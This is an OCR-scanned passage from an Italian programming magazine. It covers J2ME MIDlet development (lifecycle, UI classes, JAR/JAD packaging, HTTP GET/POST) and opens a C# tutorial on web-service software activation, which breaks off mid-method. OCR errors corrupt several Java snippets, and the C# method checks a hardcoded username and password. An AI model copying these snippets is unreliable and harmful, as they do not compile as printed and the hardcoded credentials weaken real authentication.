plicazione entra subito nello stato destroyed e la sua 
vita termina lì, altrimenti il gestore run-time ne chie- 
derà subito il passaggio allo stato active ed invoche- 




Fig. 2: Il ciclo vitale di un MIDlet con i metodi 
invocati dal JAM e quelli invocabili dal codice 
applicativo stesso (MIDlet e classi di appoggio). 



rà il metodo startApp: è qui che il programma offre le 
sue funzionalità e svolge la maggior parte del suo 
lavoro, ed è su questo momento del ciclo applicati- 
vo che si concentra il grosso dell'impegno del pro- 
grammatore. Il metodo destroyApp è invece utilizza- 
to dal IAM per richiedere clean-up dell'oggetto 
prima del passaggio allo stato destroyed, mentre 
pauseApp fa lo stesso prima di mettere l'applicazio- 
ne in pausa. Se durante la chiamata a pauseApp si 
verifica un'eccezione, lo stato del programma non 
viene variato; destroyApp invece richiede un para- 
metro booleano che, se posto a true, indica che l'ap- 
plicazione terminerà in qualunque caso, con o 
senza eccezione. L'implementazione da parte del 
programmatore dei metodi destroyApp e pauseApp 
di un MIDlet consta per lo più di codice di clean-up 
e tear-down, a differenza di quello di startApp dove 
invece si svolge praticamente tutto quello che l'ap- 
plicazione intende offrire. Anche all'interno del 
codice applicativo è possibile richiedere una varia- 
zione di stato. 

Dallo stato paused con resumeRequest si richiede di 
passare allo stato active: il IAM attenderà un mo- 
mento in cui è possibile far ripartire il MIDlet e a 
quel punto invocherà metodo startApp per ripor- 
tarlo in esecuzione. I metodi notifyPaused e no- 
tifyDestroyed invece richiedono al JAM di portare il 
MIDlet agli stati paused e destroyed rispettivamente, 
ma notate che il JAM in questi due casi non invo- 
cherà pauseApp e destroyApp automaticamente: è 
compito vostro invocarli prima di mettere in pausa 
o eliminare l'applicazione con i metodi di notifica. 



INTERFACCE UTENTE 

Per creare le interfacce tramite cui interagire con i 
nostri utenti, in J2ME abbiamo due API: una, di alto 
livello, in cui tutti i dettagli di visualizzazione sono 
curati dall'implementazione interna delle classi che 
usiamo, l'altra invece, di basso livello, che ci permet- 
te di essere più precisi ma ci garantisce meno porta- 
bilità tra dispositivi differenti. Nella Fig. 3 trovate la 



PROBLEMI 
CON LE 
APPLICAZIONI? 

Se avete problemi ad 
installare le 
applicazioni di 
esempio sotto Eclipse 
o non riuscite ad 
integrarle con il plug- 
in per J2ME, potete 
contattare l'autore 
dell'articolo via email 
per chiarimenti e 
suggerimenti: 
federico, mestrone® 
ioprogrammo.it 
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MIDIet Help 




Fig. 4: L'applicazione 
HelloWorldMidlet: una 
TextBox con ticker, 
titolo e casella di input 
di testo. 



^ 



Fig. 3: Gerarchia degli oggetti J2ME per la gestione 
di interfacce utente. 



gerarchia delle classi coinvolte nel processo di desi- 
gn delle interfacce utenti per dispositivi wireless: alla 
base di tutto c'è la classe astratta javax.microedi- 
tìon.lcdui.Displayable che rappresenta qualunque 
cosa che possa occupare il display dell'apparecchio. 
Le due derivate dirette (anch'esse astratte) sono in- 
vece le capostipiti dell 'API ad alto livello (Screen) e di 
quella a basso livello (Canvas). 
Con Screen abbiamo a disposizione una serie di sot- 
toclassi non astratte che implementano ognuna una 
funzionalità specifica: TextBox una casella di testo 
editabile, Alert una finestrella di informazione o al- 
lerta, Form un modulo di input complesso, list un 
elenco di elementi tra cui scegliere. L'effettiva rap- 
presentazione di questi elementi dipende dal device 
utilizzato a run-time: MIDP ci garantisce l'operato, 
ma non l'aspetto grafico, offrendoci così degli ogget- 
ti semplicissimi da usare e altamente portabili an- 
che se non molto flessibili. Ogni screen visualizzato 
consta di un titolo [getTitle e setTitle), un eventuale 
testo scorrevole a mo' di striscione pubblicitario 
[getTicker e setTicker) e l'area dedicata alla funzione 
richiesta. 

Ma come facciamo a visualizzare i nostri elementi 
grafici? Ogni MIDIet ha a disposizione un display, sul 
quale può mostrare un solo Displayable alla volta. A 
seconda della fase di elaborazione dell'applicazione 
e delle azioni dell'utente, sarà possibile passare da 
uno Screen (o Canvas) all'altro grazie al metodo 
setCurrent dell'oggetto Display. A sua volta Display è 
ottenuto ad opera di una chiamata al proprio meto- 
do statico getDisplay, che richiede un MIDIet come 
parametro di ingresso. 

Ecco un blocco di codice tratto da una delle applica- 
zioni che vengono a corredo di questo articolo e su 
cui ci soffermeremo meglio più avanti. Per ora dia- 
mo una rapida occhiata al metodo startApp di Hello- 
WorldMidlet, in cui viene realizzata la creazione di 
un'interfaccia molto semplice stile HelloWorld con 
un ticker su una TextBox (vd. Box "MIDIet GUI Re- 
ference"): 

Display d = Display.getDisplay(this); 

if (d.getCurrentQ == nuli) { 

myScreen = new TextBox("Welcome", defMsg, 100, 



TextField.ANY); 

myScreen. addCommand(cmd Exit); 

myScreen. setCommandListener(this); 

myScreen. setTicker(new Ticker(tckMsg)); 
d.setCurrent(myScreen); 
} 

Il risultato prodotto nell'emulatore lo vedete nella 
Fig. 4. In questo codice, però, c'è ancora da com- 
mentare la parte relativa ai comandi. Essi sono mo- 
strati come opzioni che l'utente può selezionare 
mandando così delle indicazioni all'applicazione 
sulle operazioni che intende svolgere. Per poter ren- 
dere funzionanti tali comandi (creati istanziando 
l'oggetto Command] è necessario un ascoltatore che 
implementi CommandListener e di conseguenza il 
metodo commandAction, di cui vedete un esempio 
qui sotto, tratto sempre dalla stessa applicazione. 
Qui l'unico comando disponibile (aggiunto allo 
screen tramite addCommand nel codice preceden- 
te) è quello per terminare il MIDIet: 



public void commandAction(Command e, 


Displayable d) { 


if (e == cmdExit) { 


try { 


destroyApp(false); 


notifyDestroyed(); 


} catch (MIDIetStateChangeExcep 


ion msce) { 


} 


} 


} 



Per quanto riguarda le API di basso livello, che pre- 
vedono l'utilizzo di classi personalizzate derivate da 
Canvas, diciamo solo che esse si basano sul princi- 
pio che noi componiamo l'interfaccia sul display 
tramite un oggetto Graphics che ci mette a disposi- 
zione delle primitive di disegno (archi, cerchi, linee, 
rettangoli, testo) da utilizzare nel metodo paint. 
Quest'ultimo è il metodo che viene invocato dal si- 
stema quando il display deve essere visualizzato e 
può essere fatto invocare indirettamente tramite 
una chiamata a serviceRepaints del canvas stesso (si- 
mile ali 'Invalidate del C++ o repaint di Java Swing). 
Un secondo MIDIet di esempio allegato all'articolo 
(BouncingTextMidlet) chiede all'utente di digitare 
una stringa tramite un TextBox e poi visualizza un 
Canvas su cui il testo si muove rimbalzando quando 
tocca i bordi (la Fig. 5 vi mostra uno snapshot di tale 
movimento). 



PACKAGING 

E DEPLOYMENT 

Una volta che codice dei MIDIet è pronto per esse- 
re testato o distribuito, così come avviene per qua- 
lunque programma Java, è necessario procedere alla 
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sua compilazione prima di poterlo eseguire. Quello 
che spesso ci si dimentica, dato che nel J2SE ciò 
avviene automaticamente e trasparentemente 
all'interno della JVM in fase di esecuzione, è che la 
versione in bytecode delle nostre classi subisce una 
procedura di verifica di integrità. Questa verifica ha 
un costo di performance che in termini di dimen- 
sione si aggira sui 50 Kb e che si misura però anche 
in termini di spazio di heap e tempo di elaborazione 
impegnati a run-time. Si tratta di un consumo di 
risorse che, rapportato alle capacità dei sistemi a cui 
è destinato il profilo MIDP, è sproporzionatamente 
alto. Per questo la fase di verifica di integrità e cor- 
rettezza del compilato viene suddivisa in due mo- 
menti: un primo controllo avviene durante lo svi- 
luppo, subito dopo la compilazione, e produce un 
nuovo file di classe già parzialmente verificato (veri- 
fled); la seconda parte resta invece a carico dell'am- 
biente di esecuzione del dispositivo wireless, ma con 
un requisito in termini di risorse significativamente 
ridotto. Il comando preverify.exe vi permette di testa- 
re l'integrità delle vostre classi dopo la compilazione 
per produrne una versione verified ed è uno stru- 
mento fondamentale in quanto il JAM rifiuterà di 
caricare ed eseguire qualunque codice che non sia 
stato pre-verificato. 

Una volta che avete seguito tale procedura supple- 
mentare volta ad alleggerire il lavoro che deve esse- 
re svolto dalla macchina virtuale compatta di CLDC 
(la KVM), la vostra classe è pronta per essere data in 
pasto ad un cellulare, palmare, organizer o quant' al- 
tro ed eseguita. Ma anche qui, come nel caso del 
J2EE dove siamo abituati a lavorare per moduli, è 
raro vedere un'applicazione che consta di una sola 
classe. Si tende ad impacchettare il lavoro di pro- 
grammazione in file JAR dentro cui si inseriscono, 
oltre al materiale Java, anche eventuali risorse ester- 
ne al linguaggio (immagini, suoni e file di configura- 
zione o proprietà, per esempio). Il JAR dovrà conte- 
nere un MANIFEST.MF (file già noto a chiunque svi- 
luppi in Java) che descrive le caratteristiche salienti 
dell'applicazione e che contiene un set di dati pre- 
definito dalla specifica dell'AMS. Anche se non stret- 
tamente obbligatorio, le applicazioni wireless Java 
possono essere distribuite ad opera di un file JAD 
(Java Application Descrìptor): questo file contiene 
alcune voci identiche al manifest, altre invece sono 
specificatamente sue e se ne possono aggiungere di 
personalizzate (cosa non prevista nei manifest, inve- 
ce). Tale JAD, in realtà, diventa così l'unico file di cui 
si abbia, bisogno per permettere l'esecuzione dei 
propri MIDlet, in quanto - da specifica - deve con- 
tenere un percorso da cui ottenere il JAR contenen- 
te il codice applicativo. 

Quando - come praticamente sempre accade - noi 
distribuiamo i nostri programmi in pacchetti JAR 
con descrittori JAD, allora si parla di MIDlet Suite: 
una suite contiene tutte le classi, le risorse e le infor- 



mazioni necessarie all'esecuzione di una o più ap- 
plicazioni J2ME per MIDE Nello specifico, troviamo 
i due seguenti elementi e relativi sotto-elementi: 

MIDlet Suite: consiste in 

• Java Application Descriptor (JAD) file 

• Java Archive (JAR) file: contiene 

• Classi MIDlet (le applicazioni J2ME) 

• Altre classi Java necessarie per le applicazio- 
ni 

• Risorse non Java usate dalle applicazioni 

• Manifest file (MANIFEST.MF) per descrivere 
il JAR 

Vediamo ora di specificare meglio che tipo di infor- 
mazioni si possono trovare nei due file di descrizio- 
ne che vengono inseriti in una suite (il manifest, 
chiamato MANIFEST.MF, ed il file JAD, senza vinco- 
li di nome ma la cui estensione deve essere .jad). 
Cominciamo col dire che essi contengono una serie 
di righe con questo formato 

Nome-Dato: Valore Del Dato 

e che in buona misura contengono delle voci in co- 
mune: alcune di queste sono obbligatorie per l'uno 
o per l'altro o per entrambi e devono essere identi- 
che tra i due file, altre non sono sottoposte ad uno o 
più di questi vincoli, e in caso di discordia tra i valo- 
ri ha sempre la meglio l'indicazione data nel JAD. 
Ecco una tabella riassuntiva degli elementi più 
comuni dei nostri descrittori di suite (Tab. 1), in cui 

(*) indica un dato obbligatorio nel manifest, 
(**) ne indica uno obbligatorio nel JAD, 
(=) indica che i valori devono essere gli stessi nei 
due file. 





Fig. 5: L'applicazione 
BouncingTextMidlet: il 
testo "Ciao Mondo 
J2ME!" è disegnato nel 
metodo paint con 
l'oggetto Graphics e si 
sposta rimbalzando sui 
bordi del display. 



r MIDlet-Name 


Nome della suite 


(*) (**) (=f 


MIDlet-Version 


La versione della suite 


(*) (**) (=) 


MIDlet-Vendor 


Nome del distributore 


(*) (**) (=) 


MIDlet-Icon 


Icona rappresentativa della suite (file PNG) 




MIDlet-Descriptìon 


Descrizione della suite 




MIDlet-Info-URL 


Indirizzo web con info sulla suite 




MIDlet-<n> 


<name> [,<icon> [,<class>] ] 

I vari MIDlet presenti nella suite 


(*\ (**\ 


MIDlet-Jar-URL 


Indirizzo dove si trova il lar della suite 


(**\ 


MIDlet-Jar-Size 


Dimensione in byte del Jar 


(**\ 


MIDlet-Data-Size 


Valore appross. di memoria richiesta a 
run-time in byte 




MicroEdition-Profile 


Profilo I2ME richiesto dalla suite (es. MIDP-1.0) 


(*) 


MicroEdìtion-Conflguration 


Configurazione I2ME richiesta dalla suite 
(es. CLDC- 1.0) 


(*) 


. Tabella 1:1 più comuni elementi del Manifest e del JAD. 



Anche se il JAD non è tecnicamente richiesto dalla 
specifica AMS, è comunque sempre consigliabile 
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IL PASSO 
FINALE 

La cosa più 

interessante dello 

sviluppo J2ME è 

chiaramente vedere il 

proprio lavoro 

funzionare sul cellulare 

personale o di qualche 

amico. Esistono 

diverse metodologie, 

più o meno 

standardizzate, per 

caricare delle MIDIet 

Suite sul proprio 

cellulare: a prezzi 

ragionevoli si trovano 

dei piccoli accessori 

per PC che consentono 

di connettersi ad esso 

via infrarossi, 

bluetooth o USB e 

scambiare file oltre che 

fare un back-up di tutti 

i dati. Nel prossimo 

numero tra le varie 

cose ci occuperemo 

anche di questo, per 

cui non perdetevi 

l'appuntamento! 



includerlo per due motivi: da un lato perché fornisce 
informazioni all'ambiente esecutivo Java dei dispo- 
stivi mobili (dimensioni deìjar e memoria richiesta, 
nello specifico) che consentono di stabilire se è il ca- 
so o meno di eseguire le applicazioni lì presenti; in 
secondo luogo, nel JAD possiamo creare delle voci 
personalizzate (basta che il loro nome non inizi con 
"MIDIet-') che vengono rese disponibili alle classi 
MIDIet di applicazione tramite il metodo getApp- 
Property. 

Infine, come nota conclusiva (e forse scontata) di 
questa sezione, sappiate che se mancano alcuni dei 
dati richiesti esplicitamente nel Jar o nel JAD, l'AMS 
si rifiuterà di eseguire le applicazioni Java indicate. 



PRIMI ESPERIMENTI 

A questo punto dobbiamo parlare di come si svilup- 
pano MIDIet e MIDIet Suite! Per cominciare, abbia- 
mo sicuramente bisogno di un development kit ade- 
guato, che ci offra anche un emulatore su cui testare 
ed eventualmente fare il debugging del codice che 
scriviamo prima di metterlo in produzione sui nostri 
cellulari. A tale scopo possiamo scaricare il Wireless 
Toolkit della Sun oppure la Nokia Developer's Suite 
for J2ME: entrambi contengono tutte le librerie per 
lo sviluppo, un paio di emulatori per il testing, e 
semplici strumenti di creazione di MIDIet Suite che 
vi aiutano nel compito di preparare i vari JAR e JAD 
che serviranno poi per il deployment (vd. Fig. 6 e 7). 
Potete scaricare il toolkit che preferite rispettiva- 
mente da http://java.sun.com /j2me e http://www.fo- 
rum.nokia.com: si tratta di prodotti gratuiti e libera- 
mente utilizzabili. 
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Fig. 6: Creare e gestire MIDIet Suite con la Nokia 
Developer's Suite for J2ME. 



Nonostante l'aiuto che questi due toolkit vi offrono 
per lo sviluppo, nulla è offerto per l'editing delle 
classi. Ora, se chiedete a me per quanto riguarda la 



jdi^i 




DMN ,:*'■•.<. 




Fig. 7: Creare e gestire MIDIet Suite con il Sun 
Wireless Toolkit. 



stesura di codice Java, da quando ho conosciuto 
Eclipse non ho occhi (o forse sarebbe meglio dire 
"dita") per altro. Era quindi scontato che la prima 
cosa che facessi di fronte alla richiesta di scrivere su 
J2ME fosse cercare un plug-in che mi permettesse di 
utilizzare il mio tool preferito! È giusto dire comun- 
que che la maggior parte degli altri strumenti legati 
a Java (NetBeans, JBuilder, etc.) offre capacità simili e 
si integra con i wireless toolkit della Sun e di altre 
case produttrici (tipo quelli della Nokia e di Sony 
Ericsson): la mia scelta, quindi, è dettata meramen- 
te da gusto personale. Il plug-in che si occupa di 
J2ME sotto Eclipse che ho deciso di utilizzare per 
questo articolo si chiama EclipseME e si scarica gra- 
tuitamente da http://eclipseme.sourceforge.net. 
Supporta tranquillamente entrambi i toolkit di cui vi 
ho parlato poc'anzi, si occupa di preverificare 
codice dopo la compilazione (con preverify.exe) ed è 
in grado di esportare delle MIDIet Suite complete e 
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Fig. 8: Le preferenze di Eclipse per impostare il plug- 
in EclipseME indicando quali toolkit sono presenti 
sulla macchina. 
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pronte all'uso. Inoltre vi permette di invocare diret- 
tamente gli emulatori messi a disposizione dagli 
ambienti I2ME e - soprattutto - di fare il debugging 
dalla KVM. Configurare il tutto è molto semplice: in- 
stallate il toolkit che desiderate e indicatene la direc- 
tory al plug-in tramite le preferenze di Eclipse (vd. 
Kg. 8). 




Fig. 9: I due wizard di creazione di MIDIet Suite 
e MIDIet offerti da EclipseME. 



E adesso, come si crea una applicazione? Dei due wi- 
zard di EclipseME, uno genera un progetto corri- 
spondente ad una MIDIet Suite (vd. Fig. 9), mentre 
l'altro vi guida nella creazione dei MIDIet da metter- 
ci dentro (vd. Fig. 10). Sono molto semplici da usare 
ed alla fine non vi resta che completare il codice 
generato con la vostra logica applicativa. Il primo 
esempio proposto è una MIDIet Suite con due appli- 
cazioni I2ME molto semplici di cui si è già parlato a 
proposito delle interfacce grafiche: HelloWorld- 
Midlet e BouncingTextMidlet. Il relativo progetto 
Eclipse è stato esportato per voi in formato Zip con 
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Fig. IO: La finestra di creazione di un nuovo 
MIDIet di EclipseME. 



codice sorgente e pacchetti verificati pronti per il 
deployment con tanto di JAD. 



SERVIZI DI RETE 

Dopo avere dato uno sguardo generale allo sviluppo 
con J2ME ed avere accumulato abbastanza nozioni 
per mettere in piedi un'applicazione MIDIet, provia- 
mo a concentrarci un attimo su una delle caratteri- 
stiche che risulta tra le più interessanti per chi vuole 
utilizzare questa tecnologia sui propri dispositivi 
mobili. Oramai quasi tutti gli apparecchi cellulari 
sono in grado di connettersi ad internet e quelli più 
moderni, per quanto piccoli e leggeri, offrono la 
possibilità di accedere ai contenuti cui si accede 
normalmente tramite il browser del nostro PC. 
È chiaro che il profilo MIDP non poteva restare iner- 
te di fronte a questi sviluppi, ed infatti una parte 
molto chiara della specifica indica come obbligato- 
rio il supporto per connessioni client HTTP/ 1.1 al- 
meno. Sebbene sia possibile implementare ulteriori 
protocolli di networking (basandosi sul Generic 
Connection Fmmework di CLDC), un prodotto J2ME 
che voglia considerarsi compatibile con MIDP deve 
attenersi al minimo garantito, e cioè l'HTTR 
Ma questo per noi è già più che sufficiente! Attraver- 
so il protocollo più diffuso su internet, infatti, oggi- 
giorno è possibile connettersi ad una serie molto 
ampia di servizi: in particolare con la sempre mag- 
giore popolarità dei web service, l'HTTP si sta tra- 
sformando pian piano in un veicolo di funzionalità 
applicative oltre che un semplice mezzo di naviga- 
zione virtuale. È innegabile quindi che nelT avvici- 
narsi al mondo dello sviluppo lava per microdispo- 
sitivi sia importante studiare gli API che ci permetto- 
no di accedere alla caratteristiche di connettività dei 
nostri apparecchi. Indipendentemente dal tipo di 
accesso che viene fatto alla rete (ad esempio, via 
GPRS), il profile I2ME offre un'astrazione che ci per- 
mette di concentrarci solo sulla specifica HTTP: il 
resto è a carico di MIDP! Come ci si connette dun- 
que ad una risorsa di rete? La classe javox. microedi- 
tion.io.Connector possiede una serie di metodi stati- 
ci che permettono di ottenere una connessione 
HTTP sotto forma di istanza della classe javax.mi- 
croedition.io.HttpConnection. Probabilmente il me- 
todo più comodo da usare è open cui si passa una 
stringa che è l'URL cui connettersi (es. " 'httpjlwww. 
libero.it"). L'oggetto HttpConnection ha tre stati: 
Setup, quando la connessione è in fase di prepara- 
zione prima di essere effettuata; Connected, la con- 
nessione è stata fatta e si è in attesa della risposta del 
server; Closed, il server ha risposto e la connessione 
è chiusa. Solo in fase di set-up è possibile accedere ai 
metodi setRequestMethod e setRequestProperty. Tra 
i vari metodi che passano da Setup a Connected, 
invece, citiamo getlnputStream e getResponseCode: 




MIDIel Help 




Fig. 11: Il form 
TranslatorScreen 
sull'emulatore del 
Wireless Toolkit della 
Sun. 
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Fig. 12: II forni 
SettingsScreen sull'emu- 
latore del Nokia 
Developer's Toolkit. 
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MIDLET CUI 
REFERENCE 

Un eccellente riassunto 

delle funzionalità degli 

elementi di alto livello 

derivati da Screen e 

dei principali metodi 

che essi offrono per il 

loro utilizzo lo trovate 

nell'articolo MIDP GUI 

Programming, Part 2 

su www.oniava.com . 



essi, ed altri simili, generano l'effettiva chiamata al 
server ed stabiliscono fisicamente il contatto via 
rete. Vediamo subito un esempio tratto dalla docu- 
mentazione API del MID Profile: 

HttpConnection e = (HttpConnection)Connector.open( 

"http://www.indirizzo.it/pagina.php"); 
int re = c.getResponseCodeQ; 

if (re != HttpConnection. HTTP_OK) { 

// ERRORE 

} 

InputStream is = c.openInputStream(); 
String type = c.getType(); 
int len = (int)c.getLength(); 

if (len > 0) { 

int actual = 0; 

int bytesread = ; 

byte[] data = new byte[len]; 

while ((bytesread != len) && (actual != -1)) { 

actual = is.read(data, bytesread, len - bytesread); 
bytesread += actual; 

} 

} else { 

int eh; 

while ((eh = is.readQ) != -1) { 

// USA I DATI 

_J 

} 

In questo caso viene generata una richiesta GET di 
HTTP Siccome però è molto più comune aver la 
necessità di inviare una richiesta POST, diamo anche 
un'occhiata al codice che segue, tratto ed adattato 
dalla seconda Suite allegata all'articolo: 

byte[] bytes = "INLOC=en&OUTLOC= 

fr&TEXT=friend".getBytes(); 

Hashtable httpRequestProperties = new Hashtable(); 
httpRequestProperties.put("Content-Type", 

"application/x-www-form-urlencoded"); 
httpRequestProperties. put("Content-Length", 

Integer.toString(bytes.length)); 
HttpConnection conn = (HttpConnection) 

Connector.open(url); 
conn. setRequestMethod (HttpConnection. POST); 
Enumeration enumeration = 

httpRequestProperties. keys(); 
while (enumeration. hasMoreElements()) { 
String name = (String) 

enumeration. nextElementQ; 
String value = (String) 

httpRequestProperties. get(name); 
conn.setRequestProperty(name, value); 

} 

out = conn.openOutputStream(); 

out.write(bytes); 

in = conn.openInputStream(); 

int eh; 



while ((eh = in.readQ) != -1) { 

responseBytes.write(ch); 

} 

Notate come si richieda un POST tramite setRe- 
questMethod. In questo esempio vedete anche l'uso 
di setRequestProperty per la creazione di header 
HTTP (tipo "Content-Type", "Cache-Control", etc.) e 
la connessione messa in atto con openlnputStream 
invece di getResponseCode. L'uso di openOutput- 
Stream invece (in fase di set-up della connessione) 
è legato all'invio di valori come parte della request, 
così come previsto dal metodo POST di HTTP. Arri- 
vati a questo punto, con il codice appena visto, siete 
in grado di accedere a qualsiasi servizio esposto via 
web o di simulare l'invio di un form e prendervi i 
dati di risposta. Quest'ultimo trucchetto è il mecca- 
nismo utilizzato dalla applicazione WirelessTrans- 
lation - secondo progetto allegato questo mese - 
che sfrutta il form di Altavista {http:llbabelfish.alta- 
vista.com/) e recupera la traduzione filtrando tutto 
l'HTML in eccesso sulla pagina di risposta (pra- 
ticamente il 99.5%). In maniera simile, e studiando 
bene i parametri necessari nel form di ingresso ed il 
formato della pagina in uscita, si possono sfruttare 
diverse soluzioni già disponibili sul web a fronte di 
pagine HTML. L'applicazione fornita parte da un 
MIDlet denominato - con molta immaginazione - 
TranslatorMidlet: esso crea un Alert (ErrorScreen) 
che verrà utilizzato per i vari messaggi di errore (un 
po' come la Message Box di Windows), un Form 
(SettingsScreen) per le impostazioni relative alla lin- 
gua di origine e di destinazione, ed un altro Form 
(TranslatorScreen) che prende in input la parola da 
tradurre ed invoca la logica di rete. Quest'ultima è in 
mano ad una classe Runnable (HttpPoster) che rice- 
ve le richieste di invio di dati, le accoda e le soddisfa 
in un thread separato, avvisando un ascoltatore che 
implementa HttpPosterListener (lo stesso Transla- 
torScreen) quando un risultato è giunto dal server o 
si è verificato un errore. Il passo successivo più 
naturale è l'implementazione di un client di servizi 
web su HTTP. Esistono delle librerie compatte scrit- 
te apposte per la macchina virtuale KVM che sem- 
plificano anche lì il lavoro di gestione di messaggi 
SOAP e permettono quindi di scrivere senza grosse 
difficoltà dei MIDlet di accesso alla logica applicati- 
va contenuta nei servizi web che ci interessano. 

CONCLUSIONI 

Nel prossimo numero troverete ancora una puntata 
su J2ME dedicata a questo argomento e ad un ap- 
profondimento delle tecniche e delle nozioni che 
abbiamo visto oggi. Non mancate... parleremo 
anche di come portare le Suite che scrivete sui 
vostri cellulari compatibili Java! 

Federico Mestrone 
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Attivazione del Software con i Web Services 

C#: proteggiamo le 
nostre applicazioni 

Nello scorso numero abbiamo imparato a proteggere i nostri software 
dall'uso non autorizzato. In questo articolo vedremo come sia semplice 
automatizzare il processo di creazione sfruttando i Web Services. 




□ CD U WEB 

webservice_attivazione.zip 




REQUISITI 



Conoscenze richieste 



— Conoscenze 
di base di C# 



Windows 

98/ME/2000/XP/2003, 
.net Framework + SDK, 
preferibilmente Visual 
Studio .net 2003 



EH 



Ni 



Tempo di realizzazione 



"el precedente articolo abbiamo analizzato 
gli aspetti legati alla protezione del software 
ed abbiamo generato un codice di attivazio- 
ne sfruttando il seriale dell'Hard Disk del nostro 
cliente. Il piccolo tool realizzato per la generazione 
del codice, sebbene svolga il suo lavoro, richiede 
l'intervento di un operatore che, ricevuto il seriale 
dell'Hard Disk, comunichi il codice di attivazione al 
cliente. Tale operazione, oltre ad essere a rischio di 
errore (errori di digitazione, errori di incomprensio- 
ne nel dettare il codice ecc), diventa un costo per la 
nostra azienda. In questo articolo vedremo come 
automatizzare il processo di calcolo e di invio del 
codice di attivazione riducendo i rischi di errore e, 
soprattutto, i costi, sfruttando Internet e la tecnolo- 
gia dei Web Services. 



COSA CI SERVE 

Come abbiamo visto, lo scopo della protezione del 
software è quello di impedire l'utilizzo dei nostri 
programmi agli utenti non autorizzati. Per utenti 
non autorizzati si intendono quelle persone che non 
hanno acquistato il nostro prodotto o che vogliono 
utilizzarlo su un numero di PC superiore al numero 
di licenze acquistate. Quanto appena detto, presup- 
pone che noi, in azienda, abbiamo a disposizione 
quantomeno queste informazioni: 

1. un codice che identifichi il prodotto 

2. il cliente a cui abbiamo lo abbiamo venduto 

3. lo stato dell'attivazione 

Utilizzando il tool di attivazione visto nel primo arti- 
colo, la gestione delle suddette informazioni era a 
cura dell'operatore; automatizzando questo proces- 
so, invece, dobbiamo fare in modo che il nostro pro- 
gramma sia in grado di gestirle autonomamente. 



Il primo passo sarà quindi quello di archiviarle in 
maniera strutturata utilizzando un Data Base. Per 
questo articolo è stato usato Microsoft Access (ma 
va bene qualunque tipo di Data Base), con una sola 
tabella che raccoglie tutte le informazioni che ci ser- 
vono. Il CodiceProdotto presente nella tabella, ser- 
virà ad identificare univocamente il software che 
abbiamo venduto e ad associarlo al cliente che ha 
acquistato il nostro programma. Tale codice dovrà 
essere fornito al cliente stampandolo, ad esempio, 
sulla scatola del prodotto, sul contratto di vendita 
ecc., in quanto farà parte della procedura di attiva- 
zione. Dobbiamo prestare molta cura nella scelta di 
come generare il codice prodotto. Potremmo ad 
esempio utilizzare un algoritmo di generazione di 
numeri casuali, a cui associare un codice per identi- 
ficare la famiglia di prodotti ecc. L'importante è che, 
qualsiasi sistema andremo a scegliere, resti segreto 
tanto quanto le chiavi utilizzate per la crittografia 
del seriale dell'Hard Disk. Il CodiceAttìvazione e la 
DataAttivazione invece, ci torneranno utili in 2 casi: 
innanzitutto la loro presenza identifica l'avvenuta 
attivazione del prodotto; in secondo luogo, per ri- 
spondere ad eventuali richieste del cliente. Una 
volta predisposto il nostro Data Base, dobbiamo rea- 
lizzare servizio web, che gestirà le attivazioni. 



I WEB SERVICES 

Per automatizzare la procedura di attivazione del 
software, abbiamo la necessità di creare un pro- 
gramma che sia sempre raggiungibile e che comuni- 
chi con il nostro prodotto. I Web Services fanno esat- 
tamente questo: sono dei codici eseguibili, dotati di 
una interfaccia standardizzata, che li rende raggiun- 
gibili via Internet. Prima di iniziare la realizzazione 
del nostro servizio web, vediamone la struttura in 
generale. Questo ci aiuterà a comprenderli meglio e 
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Fig. 1: Creazione di un nuovo servizio web. 

a rendere semplice le future implementazioni. Fino 
a qualche tempo fa, era prerogativa solo delle gran- 
di aziende far comunicare tra loro software diversi, 
sviluppati con tecnologie diverse e, molto spesso, 
dislocati in luoghi geograficamente distanti. Gli 
investimenti richiesti, sia in termini di Hardware che 
di costi di implementazione, erano infatti sostenibi- 
li solo dalle società che prevedevano grossi volumi 
d'affari. Con la crescente diffusione di internet però, 
le cose sono cambiate. Le più grandi Software House 
hanno lavorato ad una tecnologia standard che per- 
mette la comunicazione tra software diversi, sfrut- 
tando un mezzo economico ed estremamente diffu- 
so: Internet. La standardizzazione, per quanto ri- 
guarda i servizi web, è legata ai protocolli usati per il 
loro utilizzo. Essi permettono di utilizzare software 
sviluppati con linguaggi diversi, magari anche su 
piattaforme diverse, come se si stesse operando su 
un sistema unico. Questo grazie ad XML e SOAP II 
protocollo SOAP è in grado di rappresentare struttu- 
re anche molto complesse di dati. Il vantaggio di uti- 
lizzare SOAP è che tali strutture possono essere in- 
viate ovunque possa arrivare un semplice file di te- 
sto. Tale caratteristica rende molto semplice l'inte- 
grazione di servizi web anche in presenza di firewall 
aziendali. In .net, un Web Service è realizzato con la 
tecnologia ASP Net, con la quale condivide numero- 
se caratteristiche quali il web.config per la gestione 
dei parametri di configurazione, il global.asax per la 
gestione dello stato, il protocollo di scambio di infor- 
mazioni (HTTP) ecc. Come una pagina web, un ser- 
vizio web è distribuito su un server, in attesa di esse- 
re interrogato. L'interrogazione può avvenire in 3 
modi diversi: HTTP-GET, HTTP-POST e SOAP I 
primi due sistemi dovrebbero essere già familiari, e 
vengono utilizzati soprattutto durante i test del ser- 
vizio stesso. Il terzo sistema (SOAP) è quello che 
maggiormente utilizzeremo, visti i vantaggi citati in 
precedenza. Chiariti i concetti che sono alla base dei 
servizi web, iniziamo con la realizzazione del nostro 
servizio di attivazione. Una applicazione pratica, 
spesso, vale più di mille parole. Sebbene sia possibi- 
le realizzare un servizio web con un semplice editor 
di testo, utilizzando i tool da riga di comando per la 



compilazione, Visual Studio 2003 rende talmente 
comodo il lavoro che è difficile farne a meno. Av- 
viamo quindi Visual Studio ed iniziamo a creare il 
nostro servizio web: apriamo un nuovo progetto di 
Visual C#, selezioniamo il modello Servizio Web 
ASRNET e chiamiamolo wsattivazione. Nella fine- 
stra "Esplora Soluzioni" di Visual Studio, troveremo il 
file global.asax, il web.config ed un file chiamato 
Servicel.asmx che rinomineremo in Attivazione.as- 
mx. Tale file sarà quello in cui implementeremo la 
logica del nostro servizio web. Il primo metodo del 
nostro Web Service sarà accessibile dalle applicazio- 
ni client (nel nostro caso, il prodotto che deve essere 
attivato). Tutti i metodi accessibili dall'esterno del 
Web Service, devono essere marcati con l'attributo 
[WebMethod]. 
Vediamo nel dettaglio il metodo CodeGen: 

[WebMethod] 

[SoapHeader("auth")] 

public string CodeGen(string CodiceProdotto, string 

seriale){ 
if ( auth.UserName == "Cliente" && auth. Password 

== "Cliente") { 

DataLayer d = new DataLayer(); 
int retcode = d.ProdottoAttivabile(CodiceProdotto); 
switch (retcode){ 
case 1: 

//Il codice digitato non è corretto 
